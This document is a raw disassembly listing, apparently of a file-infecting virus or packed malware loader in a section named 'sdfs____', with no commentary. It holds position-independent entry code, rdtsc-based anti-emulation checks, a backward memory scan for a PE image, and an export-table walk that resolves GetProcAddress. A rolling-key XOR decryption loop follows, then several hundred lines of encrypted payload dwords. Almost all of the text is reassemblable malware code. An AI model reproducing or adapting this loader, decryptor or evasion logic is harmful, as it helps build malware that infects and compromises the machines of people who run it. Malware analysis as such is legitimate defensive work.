		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		dd 2C0h	dup(0)
; ---------------------------------------------------------------------------


loc_61B000:				; DATA XREF: sdfs____:0061E2CCo
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_61B04C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_61B041
		mov	ebx, [eax+2985h]
		jmp	short loc_61B04A
; ---------------------------------------------------------------------------


loc_61B041:				; CODE XREF: sdfs____:0061B037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_61B04A:				; CODE XREF: sdfs____:0061B03Fj
		mov	ebx, [ebx]


loc_61B04C:				; CODE XREF: sdfs____:0061B01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 105FF1h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 8Ah
		rep movsb
		call	sub_61B125
		mov	ecx, eax
		call	sub_61B125
		sub	eax, ecx
		jz	short loc_61B0F7
		cmp	eax, 100h
		ja	short loc_61B0F7
		and	ebx, 0FFFFF000h


loc_61B08B:				; CODE XREF: sdfs____:0061B09Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_61B09C


loc_61B094:				; CODE XREF: sdfs____:0061B0A9j
		sub	ebx, 100h
		jnz	short loc_61B08B


loc_61B09C:				; CODE XREF: sdfs____:0061B092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_61B094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_61B0B6:				; CODE XREF: sdfs____:loc_61B0CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_61B0CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_61B0CF


loc_61B0CA:				; CODE XREF: sdfs____:0061B0BFj
		loop	loc_61B0B6
		pop	ecx
		jmp	short loc_61B0F7
; ---------------------------------------------------------------------------


loc_61B0CF:				; CODE XREF: sdfs____:0061B0C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_61B12A
		jmp	short loc_61B13F
; ---------------------------------------------------------------------------


loc_61B0F7:				; CODE XREF: sdfs____:0061B07Cj
					; sdfs____:0061B083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_61B123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_61B123:				; CODE XREF: sdfs____:0061B102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_61B125	proc near		; CODE XREF: sdfs____:0061B06Ep
					; sdfs____:0061B075p
		rdtsc
		retn
sub_61B125	endp

; ---------------------------------------------------------------------------
		db 0A7h, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_61B12A	proc near		; CODE XREF: sdfs____:0061B0F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_61B132:				; CODE XREF: sub_61B12A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_61B132
		pop	ebx
		retn
sub_61B12A	endp

; ---------------------------------------------------------------------------


loc_61B13F:				; CODE XREF: sdfs____:0061B0F5j
		dec	edi
		inc	dword ptr [eax]
		add	[ecx+4Eh], bl
		fidiv	word ptr [ebp+78h]
		inc	edx
		sub	al, 55h
		shl	dword ptr ds:86F2B7Ah, cl
		aaa
		mov	esi, 0BC5CF0A8h
		retn
; ---------------------------------------------------------------------------
		dd 8591C48Fh, 45F5DEA9h, 8CA4F1A6h, 0F58F3498h,	1E04B583h
		dd 7A9770EEh, 0B1286601h, 635207ADh, 6109FB5Fh,	0B3F50F35h
		dd 16D252D6h, 0D4E9D2DFh, 0F3510D11h, 67EE26DFh, 4108EB38h
		dd 772D5A90h, 5AC3B374h, 79C30119h, 8C70A05Dh, 3A0F6DBDh
		dd 0EDA41494h, 0FABF10Ch, 0C5AD79CBh, 0C13E9F1Ah, 0B8F2DCEFh
		dd 0E7369B2Eh, 8CD0C5BCh, 4CB1F25Dh, 0E8E401E4h, 2C8E5691h
		dd 71BD883Eh, 0B641BAB5h, 0C5CC794Bh, 0FF539DE9h, 2910C016h
		dd 7AF444Ah, 8C442425h,	16C53D8h, 44F5987Bh, 0A3825F79h
		dd 0E82135ACh, 7D69087h, 34084062h, 34FA12EEh, 236A51F8h
		dd 27EF7631h, 55CC2724h, 0B862DA55h, 0A5169828h, 97FEFD8Ah
		dd 0C0B8F0B3h, 0EBF49438h, 0DF083CD7h, 5F9406F1h, 2FAE2DF4h
		dd 3B76A35h, 77A29830h,	0AAF1CE59h, 0C99080C6h,	3275B98Dh
		dd 3DB4E81Ch, 0FFCE7B40h, 346548CBh, 5312E8A9h,	0E7E309FCh
		dd 3C16B2AAh, 5A587ABFh, 8EE79B9Dh, 0CD946F32h,	83158D62h
		dd 0CFA88F22h, 8B859682h, 95ED3CDCh, 79307B06h,	3DA3A003h
		dd 0A4FAD70Dh, 5D569BC3h, 0F042161h, 0C1E06911h, 1B221A91h
		dd 25BDCCAFh, 0E9E0EB36h, 497530F3h, 398866F2h,	0ED4E9417h
		dd 9F3E2E61h, 5132F84Fh, 547E42A4h, 0DDDC5D15h,	67A70E98h
		dd 27F6554Ch, 0C1B272DDh, 82F425E7h, 3F30E094h,	0E12D601Bh
		dd 0C2AB3A35h, 2F5CEC4Dh, 0FD95C769h, 3C6F5AE9h, 5BBA3C37h
		dd 8E07455Ch, 0AFE0306Ch, 0F5F718EBh, 2312C831h, 0D52C7AF7h
		dd 0C3126039h, 0C660AC1Fh, 0FB44E0F8h, 4B21C987h, 7CAEE6B6h
		dd 0BF752572h, 2E24AEBh, 10149FE1h, 9416BE0Bh, 0D90E829Eh
		dd 0FF45223Dh, 2D64D657h, 0E1BC03FAh, 0E167389Bh, 983765A4h
		dd 7ECC8C87h, 0B7D8945Ch, 5870FFF3h, 32323782h,	38BF6437h
		dd 6F5E2887h, 0AE69B8A4h, 0C3BB55F0h, 4F11A78Fh, 0D4B6CE97h
		dd 0E8A16FD9h, 0A2D6C752h, 0C08FF4E7h, 0FF0E98C3h, 0C0C751C8h
		dd 2AD78544h, 0FD6CAC66h, 0C7866FC1h, 46E89D1Eh, 0E431D2BDh
		dd 42284ADh, 0CEA461Eh,	162EB1Ah, 99756316h, 2824262Fh
		dd 47431DFCh, 9690963h,	0BF07627Dh, 925BEADAh, 9215A04Eh
		dd 0D1D835CFh, 28942AE5h, 9E089B72h, 72AB6A2Bh,	99507DC7h
		dd 49D394E1h, 3FF70F01h, 247BB483h, 9A8624Fh, 13C2C859h
		dd 0C5B6A044h, 779CDA62h, 2910D06Bh, 8A6AE815h,	0DD4A5E65h
		dd 19073AEh, 7220987Bh,	4FFA0A41h, 0DEACFCEDh, 8CC6C46Dh
		dd 0D3A00A1Fh, 39F878EDh, 0F17CC46Dh, 0A52E7653h, 7E22793Bh
		dd 0E5F72505h, 0BA7C9C51h, 9869BBD0h, 49B1F727h, 0FB7F2FBDh
		dd 14E444C7h, 5FFE0A4Ah, 0B4EB5780h, 0D33287A4h, 0F0C11C2Fh
		dd 2776DA1Bh, 8DD0608Ch, 74F012E7h, 36A7158h, 2F4B96D1h
		dd 49DC3D84h, 5302FBBAh, 51CBDE7h, 0F3530D29h, 0E257226h
		dd 6D03B00Dh, 0AAE1181Eh, 97C926F4h, 31B8DDFBh,	0A19E3F3Ah
		dd 133CCFh, 4716D09Bh, 0DFB55F44h, 0C13A4213h, 0A2566E47h
		dd 1F50E0F4h, 0C0A0D17Bh, 58351A95h, 1B0454Eh, 4229299Dh
		dd 89E00E79h, 9E8914CEh, 0ED34AB21h, 60691231h,	416666DEh
		dd 77B22F65h, 4B0F1A19h, 98487C9Dh, 73C8E4C7h, 34F018CDh
		dd 6DCAB272h, 5BCE5301h, 69C01BC7h, 0A0423A30h,	7FBF7D86h
		dd 0C8401B50h, 9BE55093h, 7F8E7E1Ch, 7EB6C7D4h,	7E5F4EA5h
		dd 71F8164Ch, 75429E55h, 867C2C4Eh, 0B908BBC6h,	0F9E5E043h
		dd 1475E634h, 129C60F3h, 5F91C024h, 0FC0D40BBh,	4CB1A52Ah
		dd 75C22A7Ah, 96985509h, 0C93158E7h, 0EEB5753Dh, 2D74EA71h
		dd 0E158138Eh, 5171389Bh, 434D155Eh, 9FCCF6E5h,	0CDE624D9h
		dd 590168F3h, 0CF91B209h, 0D764644Dh, 908A9D4Dh, 7E109EB9h
		dd 0E0827A41h, 7A46C446h, 0A23B2156h, 0E9C08592h, 0CBBB138Fh
		dd 732E6108h, 3B9DA601h, 4EB39B0Bh, 630A521Dh, 156C8EB3h
		dd 0C7866012h, 79A02092h, 2BBAD2ADh, 0DDD484C7h, 8FEE1F65h
		dd 4108E8FBh, 0C71CC44h, 0B5027EBAh, 0FB0F5549h, 0F20570E7h
		dd 36498C9Fh, 7DBD6902h, 8A4194B1h, 0D1C84641h,	0C1BEAF6Ch
		dd 23E4DCEFh, 0AB268E19h, 0EC2B2F5Ch, 2228A23Dh, 9818CD11h
		dd 0CED833E6h, 20CD7DF7h, 863DEAB5h, 0C5CC52FDh, 35A69B60h
		dd 75D3D013h, 0BE59E35Fh, 0E8295579h, 553CA935h, 820CFB0Eh
		dd 0F0E61CD9h, 55D89FFAh, 75B2DDD5h, 0B98E05BFh, 0A9F60AEh
		dd 7452A173h, 0CF6F134Dh, 0E02D5A78h, 5A24BF21h, 8431E903h
		dd 0F9FF4EF9h, 0AB0B1C4h, 8FABC7CFh, 0C29604B2h, 2C8D6392h
		dd 635BB84Ah, 0A6460B40h, 1A21796Dh, 4F32AB2Dh,	0BDE1E501h
		dd 0EEE8718Dh, 69D190C6h, 8EABE4A9h, 0D3AB48BFh, 36769B90h
		dd 6973C35Bh, 0C75A3B41h, 7032270h, 7319B23Ch, 88840018h
		dd 2BEA4FE9h, 50DDAAC3h, 8A948AA1h, 0FCB859B3h,	28528B94h
		dd 8D53D940h, 0C26E3F48h, 1B54612Ah, 430BD313h,	0A0FA0A12h
		dd 34A263E7h, 4CFAB8CAh, 0A3971BA5h, 0EB994297h, 486F9688h
		dd 88639456h, 0F3570045h, 2B31AB2Eh, 6635AA00h,	0D9E51A0Bh
		dd 0ACF5AFCh, 7C87C0D6h, 0AFB53FB9h, 35914892h,	436AB860h
		dd 0A628C97Eh, 0F6164E50h, 2C1A9C22h, 9638FB05h, 0A9D135EEh
		dd 0FDE67DAh, 5DB4D9D2h, 0FEB612B0h, 59D5FEBh, 5060AF53h
		dd 0D5421376h, 0D1324B7Eh, 50139236h, 933FFC02h, 0F8D344C6h
		dd 23C1A0D5h, 48ADC5CEh, 0C18D3CBBh, 0C886D82h,	1757D066h
		dd 0AD511F6Fh, 9284B71h, 6C1DA636h, 0AF1FCB71h,	0E6FD51DDh
		dd 2AF48CEAh, 0BACCF9D3h, 0E1882BA9h, 14656C9Ah, 626AC26Ch
		dd 0BD750349h, 12B660Eh, 4207BA0Bh, 0D3F10910h,	0E6F35EDFh
		dd 4C5ADCCh, 9BB9D6F1h,	0CBEA36AEh, 28679B85h, 0CD2DD562h
		dd 0C5403D65h, 17375945h, 7000D519h, 0B5F21A38h, 0DD542FAh
		dd 2BFBA1C8h, 9BA0E194h, 0DB8B5A88h, 416D8592h,	9647F646h
		dd 0DC6F4C5Fh, 3A338A3Ah, 6C1DD937h, 0D2CC0D29h, 4F071FBh
		dd 4ABEA3DCh, 0A1B915A5h, 0F49743B3h, 5C4ABAB0h, 0B126EB75h
		dd 0EC34325Ah, 271B9E2Ch, 0FD17CB0Bh, 0DBE724D6h, 0DC14EFEh
		dd 678CBAD0h, 0B0B6088Eh, 5A66A9Ah, 4579A66Ah, 0A84FE578h
		dd 0E82F5B63h, 4B10E63Fh, 901DEA28h, 0CAD42FF1h, 1BAC99F3h
		dd 62B4EDCDh, 0E98514B2h, 0E997D9Fh, 5314B774h,	0AA5C3555h
		dd 0D12D5C5Ah, 5601B527h, 9D39FF1Ch, 0D4E27089h, 3DD195D1h
		dd 98AFF1D8h, 0C38B3DA3h, 1C8A48F1h, 6579DD79h,	0A6413F40h
		dd 1A3E4C4Dh, 5415AB3Ah, 94F4CE73h, 0E2CC42ECh,	5BFB93C2h
		dd 9BADF392h, 0A18627B2h, 234D8EBBh, 6C5AC26Ah,	0F9363B45h
		dd 0C205F37h, 74189233h, 0BEF71114h, 1AF549C5h,	45F6D8C5h
		dd 8DB7FA8Ah, 0E18F598Ch, 47688190h, 8B70D45Dh,	0C85F2642h
		dd 2F3D5233h, 630FC315h, 0AEE50D36h, 3DA263E7h,	40C99DDBh
		dd 0B99F07BBh, 0E4825F85h, 5463969Ch, 864BC079h, 0D13E2854h
		dd 382AAF3Fh, 6A24CF11h, 0D4F9280Dh, 0AC343F5h,	19B9B2DCh
		dd 9EB6069Fh, 12974D89h, 5B5DB365h, 8646E169h, 0FD035561h
		dd 310F853Ch, 9018F71Bh, 0E8C30783h, 29CB76CEh,	0DB4C1C3h
		dd 0CCB10AB2h, 12976B8Eh, 2366AF6Eh, 0BB42137Ch, 87324D5Ch
		dd 51148534h, 890EE102h, 0F0F52AFEh, 2ADCF6C4h,	72C8DED8h
		dd 0B38634B0h, 0E9F639Ch, 5E16CA6Ch, 0BB55044Dh, 383E4753h
		dd 4817BB3Bh, 0BB10E739h, 0D8985DE7h, 31D79ECBh, 0B2B8F9D1h
		dd 0C8A53ABCh, 3A656E9Dh, 587ED779h, 0D8400553h, 1B205F41h
		dd 4406BA3Eh, 0B6F23501h
		dd 0CC9C6DE1h, 45D3AAC7h, 0A6A4F5ADh, 0CE8427ADh, 4D459885h
		dd 9A6AC858h, 0C55D3659h, 7336F17h, 7000D519h, 91C22F79h
		dd 4AE970D2h, 67FEFC9Fh, 0B886848Bh, 0E0827586h, 24438D88h
		dd 96709A6Ch, 0C04C0348h, 2E33B527h, 931C826h, 0EAED072Fh
		dd 14D671E2h, 6AD2A7E7h, 90A03DAEh, 0E49778E5h,	6378B9ACh
		dd 8253E278h, 99013876h, 21ACC11Bh, 7622F265h, 0FD8F3C55h
		dd 37B07A64h, 51922F4Ah, 1576CDFh, 27A048BFh, 31602F55h
		dd 0E59417E2h, 49C73427h, 379CB841h, 0A31156Bh,	0CBC382AEh
		dd 0BDACFC9Fh, 4E2E234h, 0BC8A60B9h, 1A942BCh, 4DD84F02h
		dd 9B7EA2AAh, 0D3196851h, 0D5F72506h, 667C9C51h, 269324Dh
		dd 49A0CE4Dh, 38C2663Eh, 9010C15Ah, 96CD06E1h, 794AB861h
		dd 0C3006A15h, 241DD8B4h, 76368E33h, 19039819h,	85F06685h
		dd 0DF211BF7h, 6CCE86FFh, 73DB681Fh, 0CA0D3A70h, 5DC65BCDh
		dd 0E0F59C0Ah, 0A8B8EF70h, 14953DA2h, 0CD84D1F3h, 93F67691h
		dd 0BAB8D8D9h, 68D2E011h, 0FDAC5613h, 4716EEF9h, 9372A279h
		dd 0D9D63A2Dh, 5D3E0447h, 0F03EE530h, 0D1B6BEEEh, 8CFB4595h
		dd 3582EA3Ah, 0A329FBC9h, 17DBB92h, 0D80AF2E8h,	0EDB1191Bh
		dd 9C3E5621h, 0AE0BAF9Ah, 0C1F721B7h, 388C4C41h, 678ED416h
		dd 0E6EB28B3h, 4E518D32h, 7DE41A3Dh, 629598Ch, 0FBC0881Bh
		dd 18BDC5CAh, 55622ACAh, 0D9F91369h, 419050AAh,	0A455FD94h
		dd 330E313Ch, 7F5B66C1h, 0FE75389Fh, 2312E33Eh,	2AD288F7h
		dd 55C3A5C6h, 0BC60F06Dh, 6671E6ADh, 9DBD0C08h,	0B1711EA1h
		dd 0C6435744h, 5BB7998Ah, 65FC0CEFh, 0BFB3F54h,	0FA306038h
		dd 0DCCFAFF4h, 7C64C449h, 8F2FD725h, 46769DAh, 43A2D4F7h
		dd 0AE89838h, 0B7D8684Ch, 5DC25DF3h, 0BF2E70Dh,	0E0346427h
		dd 7405FBC0h, 0DE02C84Bh, 0C894EFF8h, 0D7CC2C9Fh, 3792FE64h
		dd 2D5390E9h, 1E2D24D1h, 4D14EFABh, 7AD986DCh, 0B1284375h
		dd 63780A61h, 0F067F02h, 0C78F8621h, 3B2D2093h,	0E24478CCh
		dd 0B41774B2h, 9FD17674h, 498CEDFBh, 66ABD81Dh,	0A52C736Fh
		dd 2951CBEh, 970B08Bh, 560B3F7Dh, 6DB40F32h, 20FA5B3Ah
		dd 0AD5B78DBh, 8CF222C1h, 350C657Bh, 0EFCA0F19h, 0CD404031h
		dd 4B5BF625h, 87E15B67h, 248E46BFh, 452C8567h, 13C2BBB1h
		dd 2DDC069Fh, 77F61EEDh, 29428255h, 0ADBF7D4Ah,	0BE442409h
		dd 3BC96B98h, 0A078986Ah, 0F29020D4h, 55C4FDF5h, 5586AEB9h
		dd 87A2F52Ch, 0EE6C12FDh, 4D4FB0F1h, 0CE2A1E75h, 7E1F283Bh
		dd 3142FEE1h, 70838C6Fh, 978601ABh, 3D7075FAh, 0ABDE41ABh
		dd 0AD8E805Ch, 9A957A3h, 2FA22DF4h, 466B6A35h, 239C69FFh
		dd 19405BA6h, 8E0D8063h, 0E1CD60C9h, 0AA39BCE3h, 0EFCE97C5h
		dd 0CB287B70h, 0F8F1A3E5h, 554CFC5Fh, 0E5660E79h, 571A85BCh
		dd 0DFEBC24Dh, 0CD84767Fh, 77BA526Eh, 0EAA4D54h, 1C818AD5h
		dd 85D32E4Ah, 43C4B3F9h, 0F31E2013h, 207C5358h,	4D4180CAh
		dd 82775561h, 0D19868EEh, 25731995h, 0E5381E50h, 0D6C9F6C6h
		dd 0DFF30E3h, 3B0AE3EDh, 981EAA97h, 0A1BE0021h,	50DCF74Bh
		dd 8372AA64h, 44F97C41h, 37988FDFh, 6C878EFAh, 0D15F98Fh
		dd 56BB25A1h, 2F6487CFh, 1E7BDE4Ah, 837D30A0h, 8467B54Fh
		dd 0F7A91B66h, 2C1D5083h, 5BBA1C06h, 1ACB4DDh, 0EFDE66D1h
		dd 7B6DE7B8h, 1E12DA3Ah, 0D52C7C13h, 87F9AB36h,	8889E053h
		dd 6A7A926Dh, 0D4C614B9h, 0EA2BF9F7h, 82C8A8BBh, 8F4E5213h
		dd 0FC7803E2h, 2B16BE09h, 65C30503h, 0FE451801h, 2D64D4DBh
		dd 0FF5E8BDCh, 0B0A518ABh, 36C68FC2h, 0D5F030C0h, 0D96732ACh
		dd 2D68200Ch, 8A6BC779h, 87446759h, 73B396Eh, 21978F9Dh
		dd 0C3384B7Ah, 729C2CA8h, 0A2498C4Bh, 0E9C0AE69h, 0CBBA82EEh
		dd 44ECA4A7h, 0BB1EA611h, 0DD562F44h, 63366B2Ah, 2A7629A0h
		dd 7036E69h, 0B09316E7h, 14FE5724h, 0B58584D7h,	0FEE34E1h
		dd 115EB9AAh, 0CC3C0FEAh, 30B14C3Fh, 5746E5D6h,	5DB98333h
		dd 0EAD8322Ch, 3F31EBC6h, 98BED68Fh, 44275CCFh,	83E214C3h
		dd 0B88C1F07h, 0E7369B6Eh, 0F383B932h, 0B45B984Ch, 0F9075B54h
		dd 6F0B437Eh, 0BA9B52EFh, 18716A3Eh, 48E03CCCh,	67EBDD5Ch
		dd 25AA5B03h, 502A821Ch, 8D453CBDh, 14A6E551h, 3AF3F8A0h
		dd 0D7F3EC76h, 0A04EBB9Ah, 0C0458052h, 756B33DCh, 3B2E99BAh
		dd 4C54AE53h, 30D11C73h, 9176CEAEh, 69EF5155h, 667C9C51h
		dd 58BD324Dh, 8EB71920h, 13CAC8BAh, 0AEABDDD7h,	19B15532h
		dd 4359EF5Fh, 0AA7F3660h, 6236E5Ch, 7B12A836h, 0BDEEE924h
		dd 0D7E945E2h, 4FC691E4h, 0B9BAF8A4h, 0C89B3ABEh, 165E949Ah
		dd 6A70DC77h, 0B7443B5Bh, 0E227117h, 7422B638h,	0CF840004h
		dd 2ACE2691h, 416857D9h, 8AAAE5B7h, 0E78512B2h,	2B67899Ah
		dd 0D759D872h, 0E53A3E5Dh, 7D1F470Eh, 671DDF09h, 0A8F00F02h
		dd 36F14F9Fh, 6FC4ECFDh, 0F7983786h, 0FB9946C5h, 6E009789h
		dd 0ED2494FFh, 72BF1B31h, 5148E6E6h, 16052FA3h,	4A8C5C6Fh
		dd 7798700Ch, 62801B3h,	0D5B04EB9h, 43C2916Ch, 8357D611h
		dd 0CB5DA627h, 6C7CBB53h, 0C87F9952h, 0E749A4D4h, 0ABE6DB83h
		dd 0FECCA7CAh, 3574313Ah, 3A5166C1h, 71E8203Dh,	0D95443FFh
		dd 2ED23293h, 48A42F88h, 1888B0B8h, 68856D96h, 999C60FBh
		dd 4746B2D4h, 52C8A8BBh, 0F7CC1993h, 9AFC40A3h,	728349Ch
		dd 0BDF07B23h, 7920B130h, 1FF12B04h, 207E964Fh,	670AB5Bh
		dd 0AB4D155Bh, 0F5CC9CB4h, 0F8A5088Ah, 1D2E53BCh, 0F41AFE41h
		dd 0AD0AEEB2h, 9132FE41h, 218037A4h, 2C7D8583h,	958EF002h
		dd 0BA7FEDA9h, 0F9927846h, 0CABB13DDh, 1C55A4A6h, 798B5940h
		dd 59384815h, 63520A4Eh, 4729EF0Ah, 83A85C4Ah, 86A06CDFh
		dd 3B845838h, 0DDDE6CC7h, 0FC9936E1h, 2F619A8Bh, 0F363FC61h
		dd 97A9B37Fh, 0DE56EE77h, 194E8AE6h, 36BB6D7Dh,	7DBD691Ah
		dd 5F3B4FB1h, 80D868F4h, 0BD78BF1Ah, 5D9FDCEFh,	0E7268E1Dh
		dd 80CAF5BEh, 0C603F25Dh, 0ED4B82DAh, 5A4CBE81h, 0A6CEF764h
		dd 3DCD730h, 468C6CCFh,	67E8714Ch, 0BC9DD003h, 0DB3A9C30h
		dd 8C2E6067h, 570CE63Bh, 71789869h, 9CB8DF7Ah, 9529FC8Fh
		dd 8AE4DBE3h, 0A9FE005Eh, 6D9040EDh, 379718Ah, 997A7631h
		dd 0D319786Bh, 0C4C4FAAh, 1A248C7Fh, 87A9181Ch,	0E3536A3h
		dd 0FBCAB2FCh, 0ADE4583Fh, 10AD51F1h, 232BF348h, 8F7E2E0Bh
		dd 0FFD9E33Fh, 0B466DE67h, 0D980871Bh, 6A2FBF8Dh, 64B4F4BFh
		dd 0D1382B4Ch, 9C0048CBh, 0BBFD0500h, 51CAC03h,	0FE78177Eh
		dd 4704550Dh, 1B268E19h, 0F30EE188h, 0BF1B2681h, 338D5CA4h
		dd 8B418AC5h, 95EC3CDAh, 5E195B74h, 7479A003h, 0BB054090h
		dd 0A852EC47h, 0B2ED499Eh, 0C198576Dh, 63261595h, 0A4BCCCADh
		dd 0D7D7EE25h, 889864E3h, 0C40AE2FCh, 0FD1A6282h, 0FFAC731h
		dd 158F84Ah, 3187EEEh, 0A319A32Dh, 0E2A61EA6h, 14B59973h
		dd 0CBC9FAA5h, 0D761DBE7h, 0C40EC63Fh, 8E950BF9h, 93422A2Bh
		dd 0C0D1C53Ah, 0F766801Ah, 0AB05AFD3h, 0DEAA12A2h, 8440BB77h
		dd 34DE66D0h, 717314ABh, 0A69DFAFAh, 0D53C6270h, 0C601ABFFh
		dd 5361E043h, 817BF86Dh, 9301BB85h, 0CCAEE69Eh,	85C75743h
		dd 0B3E25BB5h, 0E69817Ch, 7D16AE17h, 36632233h,	6B74DCA8h
		dd 22A45157h, 0DF7FC6F4h, 1D25B58Bh, 0F2B2FABBh, 0FF074B7h
		dd 338EB126h, 70000F3h,	3F935426h, 28CB3003h, 6F5E28C3h
		dd 3FF275D6h, 0D2337A65h
		dd 7A663167h, 0B0235356h, 83D080DDh, 9BFE2ADDh,	1E56F4F7h
		dd 0C01433EEh, 0F5B5583Bh, 0F6DF1E61h, 157CFEB7h, 0CD306129h
		dd 6D846418h, 29B2326Ch, 97C6858Dh, 8CA424E3h, 492CACF0h
		dd 322D7B95h, 0AE6D44CFh, 0A846DA0Dh, 0B4FDE051h, 0BB9A5D35h
		dd 6DA4087Fh, 2990E3B1h, 0F1F658B3h, 0A6C80ACBh, 0D22F9DAh
		dd 0C75EAB61h, 0D34A3316h, 6B14BB02h, 688BF367h, 0AF9E68BBh
		dd 6104CC1Ah, 13A8BAB5h, 3A8F3B9Fh, 67C9147Ch, 0B99D5B03h
		dd 0B12A9208h, 0E65FD737h, 0D70FEB98h, 0F178986Eh, 0A9F66FA3h
		dd 0C053AB9Fh, 7D69083h, 0E9ECA450h, 6C921906h,	9014C407h
		dd 0DF30D69Ch, 7E1B7F3Bh, 235DD0C0h, 9BBC096Fh,	0DF23B3DDh
		dd 0CAB0E09Ch, 0EBDF3218h, 206954D7h, 5FEE47B6h, 11727620h
		dd 3C613C74h, 65731AAAh, 279E4D59h, 5211AF0Dh, 0C32FBF73h
		dd 8DB4F498h, 9A6064CCh, 8B0028CBh, 32FD050Fh, 0CFFBB7Dh
		dd 5C3729A4h, 429F9BA9h, 53D74F93h, 3E846448h, 9469A135h
		dd 0A4478B12h, 0E3C2B43Fh, 809B815Fh, 3307EEE9h, 8C10C839h
		dd 3EC5522Dh, 5D443AEDh, 4E290BE1h, 0B588686Bh,	1C27DD84h
		dd 25BCDCB1h, 11D67EC9h, 99B17766h, 33E3E2FDh, 2ADB6BE9h
		dd 8F2BC6B4h, 5158F84Bh, 7B0F7E5h, 0FA86517Fh, 8C960B9h
		dd 7FAFE0DDh, 0ADB31EEDh, 32D40582h, 4267A221h,	8E5CA87Eh
		dd 0FF275915h, 242E8E2Ah, 0FA57FB1Dh, 89B07089h, 7BE522BDh
		dd 60A9C1C4h, 0D8FE14B4h, 149C6A8Ah, 291FEB6Bh,	0B040194Dh
